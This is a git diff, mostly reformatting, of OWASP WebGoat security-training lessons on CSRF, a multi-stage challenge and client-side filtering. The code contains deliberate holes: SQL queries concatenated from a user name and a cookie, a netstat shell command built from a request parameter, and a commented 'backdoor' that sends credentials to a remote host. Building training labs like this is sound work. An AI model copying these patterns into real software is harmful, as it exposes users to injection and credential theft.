- ec.addElement( makeInput( s ) );
- ec.addElement( new HR() );
- ec.addElement( makeCurrent( s ) );
- ec.addElement( new HR() );
- ec.addElement( makeList( s ) );
-
+
+ addMessage(s);
+ ec.addElement(makeInput(s));
+ ec.addElement(new HR());
+ ec.addElement(makeCurrent(s));
+ ec.addElement(new HR());
+ ec.addElement(makeList(s));
+
return ec;
}
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- protected Element makeInput( WebSession s )
+ protected Element makeInput(WebSession s)
{
- Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
- row1.addElement( new TD( new StringElement( "Title: " ) ) );
+ row1.addElement(new TD(new StringElement("Title: ")));
- Input inputTitle = new Input( Input.TEXT, TITLE, "" );
- row1.addElement( new TD( inputTitle ) );
+ Input inputTitle = new Input(Input.TEXT, TITLE, "");
+ row1.addElement(new TD(inputTitle));
TD item1 = new TD();
- item1.setVAlign( "TOP" );
- item1.addElement( new StringElement( "Message: " ) );
- row2.addElement( item1 );
+ item1.setVAlign("TOP");
+ item1.addElement(new StringElement("Message: "));
+ row2.addElement(item1);
TD item2 = new TD();
- TextArea ta = new TextArea( MESSAGE, 5, 60 );
- item2.addElement( ta );
- row2.addElement( item2 );
- t.addElement( row1 );
- t.addElement( row2 );
+ TextArea ta = new TextArea(MESSAGE, 5, 60);
+ item2.addElement(ta);
+ row2.addElement(item2);
+ t.addElement(row1);
+ t.addElement(row2);
- Element b = ECSFactory.makeButton( "Submit" );
+ Element b = ECSFactory.makeButton("Submit");
ElementContainer ec = new ElementContainer();
- ec.addElement( t );
- ec.addElement( new P().addElement( b ) );
+ ec.addElement(t);
+ ec.addElement(new P().addElement(b));
- return ( ec );
+ return (ec);
}
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public Element makeList( WebSession s )
+ public Element makeList(WebSession s)
{
- Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
try
{
- Connection connection = DatabaseUtilities.getConnection( s );
+ Connection connection = DatabaseUtilities.getConnection(s);
- Statement statement = connection.createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
-
- ResultSet results = statement.executeQuery( STANDARD_QUERY + " WHERE user_name LIKE '" + getNameroot( s.getUserName() ) + "%'" );
+ Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
- if ( ( results != null ) && ( results.first() == true ) )
+ ResultSet results = statement.executeQuery(STANDARD_QUERY + " WHERE user_name LIKE '"
+ + getNameroot(s.getUserName()) + "%'");
+
+ if ((results != null) && (results.first() == true))
{
results.beforeFirst();
- for ( int i = 0; results.next(); i++ )
+ for (int i = 0; results.next(); i++)
{
- String link = "" + results.getString( TITLE_COL ) + "";
- TD td = new TD().addElement( link );
- TR tr = new TR().addElement( td );
- t.addElement( tr );
+ String link = "" + results.getString(TITLE_COL) + "";
+ TD td = new TD().addElement(link);
+ TR tr = new TR().addElement(td);
+ t.addElement(tr);
}
}
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error while getting message list." );
+ s.setMessage("Error while getting message list.");
}
ElementContainer ec = new ElementContainer();
- ec.addElement( new H1( "Message List" ) );
- ec.addElement( t );
- String transferFunds = s.getParser().getRawParameter("transferFunds" , "");
+ ec.addElement(new H1("Message List"));
+ ec.addElement(t);
+ String transferFunds = s.getParser().getRawParameter("transferFunds", "");
if (transferFunds.length() != 0)
{
makeSuccess(s);
}
-
- return ( ec );
+ return (ec);
}
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- protected Element makeCurrent( WebSession s )
+ protected Element makeCurrent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
- int messageNum = s.getParser().getIntParameter( NUMBER, 0 );
+ int messageNum = s.getParser().getIntParameter(NUMBER, 0);
+
+ Connection connection = DatabaseUtilities.getConnection(s);
- Connection connection = DatabaseUtilities.getConnection( s );
-
String query = "SELECT * FROM messages WHERE user_name LIKE ? and num = ?";
- PreparedStatement statement = connection.prepareStatement( query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
- statement.setString(1, getNameroot( s.getUserName() ) + "%");
+ PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ statement.setString(1, getNameroot(s.getUserName()) + "%");
statement.setInt(2, messageNum);
ResultSet results = statement.executeQuery();
- if ( ( results != null ) && results.first() )
+ if ((results != null) && results.first())
{
- ec.addElement( new H1( "Message Contents For: " + results.getString( TITLE_COL )) );
- Table t = new Table( 0 ).setCellSpacing( 0 ).setCellPadding( 0 ).setBorder( 0 );
- TR row1 = new TR( new TD( new B(new StringElement( "Title:" )) ) );
- row1.addElement( new TD( new StringElement( results.getString( TITLE_COL ) ) ) );
- t.addElement( row1 );
+ ec.addElement(new H1("Message Contents For: " + results.getString(TITLE_COL)));
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
+ TR row1 = new TR(new TD(new B(new StringElement("Title:"))));
+ row1.addElement(new TD(new StringElement(results.getString(TITLE_COL))));
+ t.addElement(row1);
+
+ String messageData = results.getString(MESSAGE_COL);
+ TR row2 = new TR(new TD(new B(new StringElement("Message:"))));
+ row2.addElement(new TD(new StringElement(messageData)));
+ t.addElement(row2);
+
+ TR row3 = new TR(new TD(new StringElement("Posted By:")));
+ row3.addElement(new TD(new StringElement(results.getString(USER_COL))));
+ t.addElement(row3);
+
+ ec.addElement(t);
- String messageData = results.getString( MESSAGE_COL );
- TR row2 = new TR( new TD( new B(new StringElement( "Message:" )) ) );
- row2.addElement( new TD( new StringElement( messageData ) ) );
- t.addElement( row2 );
-
- TR row3 = new TR( new TD( new StringElement( "Posted By:" ) ) );
- row3.addElement( new TD( new StringElement( results.getString( USER_COL ) ) ) );
- t.addElement( row3 );
-
- ec.addElement( t );
-
}
else
{
- if ( messageNum != 0 )
+ if (messageNum != 0)
{
- ec.addElement( new P().addElement( "Could not find message " + messageNum ) );
+ ec.addElement(new P().addElement("Could not find message " + messageNum));
}
}
- }
- catch ( Exception e )
+ } catch (Exception e)
{
- s.setMessage( "Error generating " + this.getClass().getName() );
+ s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
- return ( ec );
+ return (ec);
}
- @Override
- protected Category getDefaultCategory() {
+ @Override
+ protected Category getDefaultCategory()
+ {
return Category.XSS;
}
private final static Integer DEFAULT_RANKING = new Integer(120);
-
+
@Override
- protected Integer getDefaultRanking() {
-
+ protected Integer getDefaultRanking()
+ {
+
return DEFAULT_RANKING;
}
- @Override
- protected List getHints(WebSession s) {
+ @Override
+ protected List getHints(WebSession s)
+ {
List hints = new ArrayList();
- hints.add( "Enter some text and try to include an image in there." );
- hints.add( "In order to make the picture almost invisible try to add width=\"1\" and height=\"1\"." );
- hints.add( "The format of an image in html is
");
-
+ hints.add("Enter some text and try to include an image in there.");
+ hints.add("In order to make the picture almost invisible try to add width=\"1\" and height=\"1\".");
+ hints.add("The format of an image in html is
");
+
return hints;
}
/**
- * Gets the title attribute of the MessageBoardScreen object
- *
- * @return The title value
+ * Gets the title attribute of the MessageBoardScreen object
+ *
+ * @return The title value
*/
public String getTitle()
{
- return ( "Cross Site Request Forgery (CSRF)" );
+ return ("Cross Site Request Forgery (CSRF)");
}
- private static String getNameroot( String name )
+ private static String getNameroot(String name)
{
String nameroot = name;
- if (nameroot.indexOf('-') != -1)
+ if (nameroot.indexOf('-') != -1)
{
- nameroot = nameroot.substring(0, nameroot.indexOf('-'));
+ nameroot = nameroot.substring(0, nameroot.indexOf('-'));
}
return nameroot;
}
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
- }
-
+ public Element getCredits()
+ {
+ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
+ }
+
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java
index f388b7472..e69fbcc90 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Category.java
@@ -1,35 +1,35 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java
index ae55a66a0..b95e024b2 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Challenge2Screen.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
@@ -16,9 +17,7 @@ import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
import java.util.Vector;
-
import javax.servlet.http.Cookie;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -39,32 +38,31 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.Exec;
import org.owasp.webgoat.util.ExecResults;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@@ -195,8 +193,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
s.getResponse().addCookie(newCookie);
ElementContainer ec = new ElementContainer();
- if (s.getParser().getStringParameter(Input.SUBMIT, "")
- .equals(PROCEED_TO_NEXT_STAGE + "(3)"))
+ if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(3)"))
{
s.setMessage("Welcome to stage 3 -- deface the site");
setStage(s, 3);
@@ -205,11 +202,11 @@ public class Challenge2Screen extends SequentialLessonAdapter
return doStage3(s);
}
- Connection connection = DatabaseUtilities.getConnection(s);
+ Connection connection = DatabaseUtilities.getConnection(s);
+
+ Statement statement3 = connection
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
- Statement statement3 = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
-
// pull the USER_COOKIE from the cookies
String user = getCookie(s);
String query = "SELECT * FROM user_data WHERE last_name = '" + user + "'";
@@ -225,48 +222,46 @@ public class Challenge2Screen extends SequentialLessonAdapter
String num = results.getString("cc_number");
v.addElement(type + "-" + num);
}
- if (v.size() != 13)
+ if (v.size() != 13)
{
s.setMessage("Try to get all the credit card numbers");
- }
-
- ec.addElement(buildCart(s));
+ }
- Table t = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(0).setWidth("90%").setAlign("center");
+ ec.addElement(buildCart(s));
- ec.addElement(new BR());
- TR tr = new TR();
- tr.addElement(new TD().addElement("Please select credit card for this purchase: "));
- Element p = ECSFactory.makePulldown(CREDIT, v);
- tr.addElement(new TD().addElement(p).setAlign("right"));
- t.addElement(tr);
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
- tr = new TR();
- Element b = ECSFactory.makeButton("Buy Now!");
- tr.addElement(new TD().addElement(b));
- t.addElement(tr);
- ec.addElement(t);
+ ec.addElement(new BR());
+ TR tr = new TR();
+ tr.addElement(new TD().addElement("Please select credit card for this purchase: "));
+ Element p = ECSFactory.makePulldown(CREDIT, v);
+ tr.addElement(new TD().addElement(p).setAlign("right"));
+ t.addElement(tr);
- ec.addElement(new BR());
- Input input = new Input(Input.HIDDEN, USER, "White");
- ec.addElement(input);
-
- //STAGE 3 BUTTON
+ tr = new TR();
+ Element b = ECSFactory.makeButton("Buy Now!");
+ tr.addElement(new TD().addElement(b));
+ t.addElement(tr);
+ ec.addElement(t);
+
+ ec.addElement(new BR());
+ Input input = new Input(Input.HIDDEN, USER, "White");
+ ec.addElement(input);
+
+ // STAGE 3 BUTTON
if (v.size() == 13)
{
s.setMessage("Congratulations! You stole all the credit cards, proceed to stage 3!");
ec.addElement(new BR());
- //TR inf = new TR();
+ // TR inf = new TR();
Center center = new Center();
Element proceed = ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(3)");
center.addElement(proceed);
- //inf.addElement(new TD().addElement(proceed).setAlign("center"));
+ // inf.addElement(new TD().addElement(proceed).setAlign("center"));
ec.addElement(center);
}
-
- }
- catch (Exception e)
+
+ } catch (Exception e)
{
s.setMessage("An error occurred in the woods");
}
@@ -294,8 +289,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
//
ElementContainer ec = new ElementContainer();
- if (s.getParser().getStringParameter(Input.SUBMIT, "")
- .equals(PROCEED_TO_NEXT_STAGE + "(4)"))
+ if (s.getParser().getStringParameter(Input.SUBMIT, "").equals(PROCEED_TO_NEXT_STAGE + "(4)"))
{
setStage(s, 4);
// Reset the defaced webpage so the lesson can start over
@@ -309,22 +303,21 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
ec.addElement(new HR());
s.setMessage("CONGRATULATIONS - You have defaced the site!");
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
- "center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
- tr.addElement(new TD().setAlign("center").addElement(
- ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
+ tr.addElement(new TD().setAlign("center").addElement(ECSFactory.makeButton(PROCEED_TO_NEXT_STAGE + "(4)")));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(showDefaceAttempt(s)));
t.addElement(tr);
ec.addElement(t);
return ec;
- } else
+ }
+ else
{
// Setup the screen content
try
@@ -332,8 +325,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new H1("Current Network Status:"));
ec.addElement(netstatResults);
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
- "center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
@@ -342,21 +334,17 @@ public class Challenge2Screen extends SequentialLessonAdapter
TR tr = new TR();
tr.addElement(new TD().addElement(ECSFactory.makeButton("View Network")));
- tr.addElement(new TD().setWidth("35%").addElement(
- ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
+ tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(PROTOCOL, list, "", 5)));
t.addElement(tr);
ec.addElement(t);
- }
- catch (Exception e)
+ } catch (Exception e)
{
- ec.addElement(new P()
- .addElement("Select a message to read from the Message List below"));
+ ec.addElement(new P().addElement("Select a message to read from the Message List below"));
}
ec.addElement(new HR());
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign(
- "center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center");
if (s.isColor())
{
t.setBorder(1);
@@ -377,15 +365,13 @@ public class Challenge2Screen extends SequentialLessonAdapter
try
{
// get current text and compare to the new text
- String origpath = s.getContext().getRealPath(
- WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
+ String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
String defacedText = getFileText(new BufferedReader(new FileReader(origpath)), false);
String origText = getFileText(new BufferedReader(new FileReader(masterFilePath)), false);
defaced = (!origText.equals(defacedText));
- }
- catch (Exception e)
+ } catch (Exception e)
{
e.printStackTrace();
}
@@ -398,11 +384,10 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
// get current text and compare to the new text
- String origpath = s.getContext().getRealPath(
- WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
+ String origpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String defaced = getFileText(new BufferedReader(new FileReader(origpath)), false);
- String origText = getFileText(new BufferedReader(new FileReader(s.getContext().getRealPath(
- WEBGOAT_CHALLENGE_JSP))), false);
+ String origText = getFileText(new BufferedReader(new FileReader(s.getContext()
+ .getRealPath(WEBGOAT_CHALLENGE_JSP))), false);
// show webgoat.jsp text
ec.addElement(new H1().addElement("Original Website Text"));
@@ -420,8 +405,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
try
{
// get current text and compare to the new text
- String defacedpath = s.getContext().getRealPath(
- WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
+ String defacedpath = s.getContext().getRealPath(WEBGOAT_CHALLENGE + "_" + s.getUserName() + JSP);
String masterFilePath = s.getContext().getRealPath(WEBGOAT_CHALLENGE_JSP);
// replace the defaced text with the original
@@ -431,8 +415,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
fw.close();
// System.out.println("webgoat_guest replaced: " + getFileText( new
// BufferedReader( new FileReader( defacedpath ) ), false ) );
- }
- catch (Exception e)
+ } catch (Exception e)
{
e.printStackTrace();
}
@@ -458,9 +441,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Thanks for coming!"));
ec.addElement(new BR());
- ec
- .addElement(new H1()
- .addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
+ ec.addElement(new H1()
+ .addElement("Please remember that you will be caught and fired if you use these techniques for evil."));
return (ec);
}
@@ -525,8 +507,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In "));
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%")
- .setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@@ -534,11 +515,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
}
TR tr = new TR();
- tr
- .addElement(new TH()
- .addElement(
- "Please sign in to your account. See the OWASP admin if you do not have an account.")
- .setColSpan(2).setAlign("left"));
+ tr.addElement(new TH()
+ .addElement("Please sign in to your account. See the OWASP admin if you do not have an account.")
+ .setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
@@ -594,9 +573,9 @@ public class Challenge2Screen extends SequentialLessonAdapter
}
/**
- * This is a deliberate 'backdoor' that would send user name and password
- * back to the remote host. Obviously, sending the password back to the
- * remote host isn't that useful but... you get the idea
+ * This is a deliberate 'backdoor' that would send user name and password back to the remote
+ * host. Obviously, sending the password back to the remote host isn't that useful but... you
+ * get the idea
*
* @param s
* Description of the Parameter
@@ -614,8 +593,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
System.out.println(" Sending message to " + sock.getInetAddress());
sock.send(dp);
sock.close();
- }
- catch (Exception e)
+ } catch (Exception e)
{
System.out.println("Couldn't phone home");
e.printStackTrace();
@@ -645,8 +623,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ElementContainer ec = new ElementContainer();
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
- .setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@@ -668,7 +645,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
String cmd = "cmd.exe /c netstat -a -p " + protocol;
er = Exec.execSimple(cmd);
- } else
+ }
+ else
{
String[] cmd = { "/bin/sh", "-c", "netstat -a -p " + protocol };
er = Exec.execSimple(cmd);
@@ -684,7 +662,8 @@ public class Challenge2Screen extends SequentialLessonAdapter
if ((line.indexOf("Proto") != -1))
{
start++;
- } else
+ }
+ else
{
line = lines.nextToken();
}
@@ -740,8 +719,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
{
OutputStreamWriter osw = new OutputStreamWriter(s.getOutputStream());
osw.write(message);
- }
- catch (Exception e)
+ } catch (Exception e)
{
System.out.println("Couldn't write " + message + " to " + s);
e.printStackTrace();
@@ -754,8 +732,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
- Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
- .setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor())
{
@@ -778,8 +755,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
ec.addElement(t);
- t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign(
- "center");
+ t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{
@@ -815,10 +791,7 @@ public class Challenge2Screen extends SequentialLessonAdapter
for (int i = 0; i < cookies.length; i++)
{
- if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE))
- {
- return (cookies[i].getValue());
- }
+ if (cookies[i].getName().equalsIgnoreCase(USER_COOKIE)) { return (cookies[i].getValue()); }
}
return (null);
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java
index 6a0f37b3a..153e66f24 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ClientSideFiltering/ClientSideFiltering.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons.ClientSideFiltering;
import java.io.BufferedReader;
@@ -6,7 +7,6 @@ import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -28,26 +28,30 @@ import org.owasp.webgoat.lessons.SequentialLessonAdapter;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-public class ClientSideFiltering extends SequentialLessonAdapter {
+
+public class ClientSideFiltering extends SequentialLessonAdapter
+{
private final static String ANSWER = "answer";
- public final static A ASPECT_LOGO = new A().setHref(
- "http://www.aspectsecurity.com").addElement(
- new IMG("images/logos/aspect.jpg").setAlt("Aspect Security")
- .setBorder(0).setHspace(0).setVspace(0));
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- protected Element createContent(WebSession s) {
+ protected Element createContent(WebSession s)
+ {
return super.createStagedContent(s);
}
- protected Element createMainContent(WebSession s) {
+ protected Element createMainContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
- try {
+ try
+ {
- ec.addElement(new Script()
- .setSrc("javascript/clientSideFiltering.js"));
+ ec.addElement(new Script().setSrc("javascript/clientSideFiltering.js"));
Input input = new Input(Input.HIDDEN, "userID", 102);
@@ -56,12 +60,11 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
ec.addElement(input);
style sty = new style();
- sty
- .addElement("#lesson_wrapper {height: 435px;width: 500px;}"
- + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
- + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
- + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
- + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
+ sty.addElement("#lesson_wrapper {height: 435px;width: 500px;}"
+ + "#lesson_header {background-image: url(lessons/Ajax/images/lesson1_header.jpg);"
+ + "width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;}"
+ + ".lesson_workspace {background-image: url(lessons/Ajax/images/lesson1_workspace.jpg);"
+ + "width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;}");
ec.addElement(sty);
@@ -82,23 +85,20 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(new BR());
workspaceDiv.addElement(new BR());
- workspaceDiv.addElement(new P()
- .addElement(" Select user:"));
+ workspaceDiv.addElement(new P().addElement(" Select user:"));
workspaceDiv.addElement(createDropDown());
workspaceDiv.addElement(new P());
- Table t = new Table().setCellSpacing(0).setCellPadding(2)
- .setBorder(1).setWidth("90%").setAlign("center");
+ Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
t.setID("hiddenEmployeeRecords");
t.setStyle("display: none");
workspaceDiv.addElement(t);
- t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1)
- .setWidth("90%").setAlign("center");
+ t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD().addElement("UserID"));
@@ -113,7 +113,8 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
workspaceDiv.addElement(t);
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@@ -127,29 +128,34 @@ public class ClientSideFiltering extends SequentialLessonAdapter {
* @return The category value
*/
- protected ElementContainer doStage1(WebSession s) {
+ protected ElementContainer doStage1(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
StringBuffer answerString = null;
int answer = 0;
- try {
- answerString = new StringBuffer(s.getParser().getStringParameter(
- ANSWER, ""));
+ try
+ {
+ answerString = new StringBuffer(s.getParser().getStringParameter(ANSWER, ""));
answer = Integer.parseInt(answerString.toString());
- } catch (NumberFormatException e) {
+ } catch (NumberFormatException e)
+ {
// e.printStackTrace();
}
- if (answer == 450000) {
+ if (answer == 450000)
+ {
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
- } else {
+ }
+ else
+ {
ec.addElement(stage1Content(s));
}
